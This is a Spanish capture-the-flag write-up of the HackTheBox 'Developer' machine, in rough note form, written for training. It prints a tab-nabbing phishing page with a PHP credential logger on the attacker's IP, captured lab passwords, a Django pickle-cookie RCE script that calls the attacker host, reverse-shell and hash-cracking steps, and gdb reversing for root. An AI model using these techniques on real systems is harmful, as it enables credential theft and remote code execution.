Developer
Writeup de la máquina Developer de Hackthebox.
Resumen de la resolución
Texto ___
Enumeración
En primer lugar, debemos desplegar la máquina para poder obtener la Dirección IP todo ello desde la web de HackTheBox y luego desde la terminal debemos conectarnos a la VPN usando el fichero correspondiente de la siguiente forma:
1
openvpn lab_trr0r.opvn
Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Linux pues cuenta con TTL próximo a 64 (63), además gracias al script whichSystem.py podremos conocer dicha información.
El motivo por el cual el TTL es de 63 es porque el paquete pasa por unos intermediarios (routers) antes de llegar a su destino (máquina atacante). Esto podemos comprobarlo con el comando
ping -c 1 -R 10.10.11.103.Nmap
En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 10.10.11.103 -oG allPorts
Observamos como nos reporta que tan solo se encuentran abiertos los puertos 22 y 80.
Ahora, gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.
A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.
1
nmap -p22,80 -sCV 10.10.11.103 -oN targeted
En el segundo escaneo de Nmap, lo que más nos llamará la atención es la existencia del dominio developer.htb.
Puerto 80 - HTTP (Apache)
Virtual Hosting + /etc/hosts + 10.10.11.103 developer.htb
nos registraremos y nos logeará automáticamente
resueltos en Más allá del Root
En primer lugar, no tenemos otra opción que resolver cualquiera de ellos para habilitar la posibilidad de subir un writeup.
Challenge 1: Phised List | Forensic
1
2
unzip phished_credentials.xlsx
cat xl/sharedStrings.xml
ahora si que podemos subir un writeup
Explotación
Tab Nabbing
1
python3 -m http.server 80
1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<body>
<p>Este es mi writeup</p>
<script>
window.opener.location = "http://10.10.14.160/TabNabbing";
</script>
</body>
</html>
haciendo uso de wget, nos descargaremos todo estos recursos
1
wget -r http://developer.htb/login
Ahora, el fichero writeup.html tendrá el siguiente contenido
1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<body>
<p>Este es mi writeup</p>
<script>
window.opener.location = "http://10.10.14.160/accounts/login/";
</script>
</body>
</html>
ahora bajo el diretorio accounts/login nos crearemos al ficheor index.html lo llamaremos index.php y le añadiremos el siguiente contenido, simulando la página web de login de la original, a la que será redirigido el usuario que está por detrás revisando los writeups
1
2
3
4
5
6
7
8
9
10
11
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST["login"];
$password = $_POST["password"];
file_put_contents("../../passwords.txt", $username . ":" . $password . "\n", FILE_APPEND);
}
?>
1
php -S 0.0.0.0:80
Veremos que recibimos una petición por POST desde la máquina vícitma
admin:SuperSecurePassword@HTB2021
http://developer.htb/admin/login/
http://developer.htb/admin/sites/site/
Cookie Pickle Deseralization | Sentry (developer-sentry.developer.htb)
Crearemos un proyecto y al borrarlo veremos este error
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='[RETRIEVE-KEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='.eJxrYKotZNQI5UxMLsksS80vSi9kimBjYGAoTs0rKaosZA5lKS5NyY_gAQoVuqSnZqd5uvoEOFZEcAEFSlKLS5Lz87MzU8FayvOLslNTQoXiE0tLMuJLi1OL4pMSk7NT81JClSDG6ZWWZOYU64Hk9VxzEzNzHIEsJ6gaXiR9mSnerKV6AAegM_E:1u55vW:5n2R2iaWLY-P4tctj0GKpV4Yn9Q'
newContent = django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
def __reduce__(self):
return (os.system,("ping -c 1 10.10.14.160",))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)
Reverse Shell + NetCat (nc -nlvp 443)
Movimiento lateral de usuario
Enumeración local
Tratamiento de la TTY
Information Leakage → Cracking Hashes
1
hashcat hash /usr/share/wordlists/rockyou.txt -a0
1
ssh karl@10.10.11.103 # E introducimos la contraseña: 'insaneclownposse'
Escalada de privilegios
Enumeración local
/root/.auth/authenticator
Transferir archivos
tampoco es vulenrable al bof
1
string -n 10 authenticator
1
Invalid AES key size./root/.cargo/registry/src/github.com-1ecc6299db9ec823/rust-crypto-0.2.36/src/aessafe.rs/root/.cargo/registry/src/github.com-1ecc6299db9ec823/rust-crypto-0.2.36/src/buffer.rs
The binary is using AES crypto. It’s also clear it is written in Rust (from the .rs extension, as well as many other clues in strings output).
ghidra
crypto::aes::ctr rust function
KEY
Click Derecho + Copy Special + Byte String (No Spaces)
lo mismo que antes pero para IV
hace dos comparaciones, una que algo sea igual a 32 y después compara dos cadenas
1
gdb ./authenticator -q
1
2
b main
r
1
2
3
4
b *0x55555555b9ac
c
abc
1
2
3
4
5
6
b *0x55555555b9b9
c
r
c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA // python3 -c 'print("A"*32)'
c
1
ssh -i id_rsa root@10.10.11.103


















































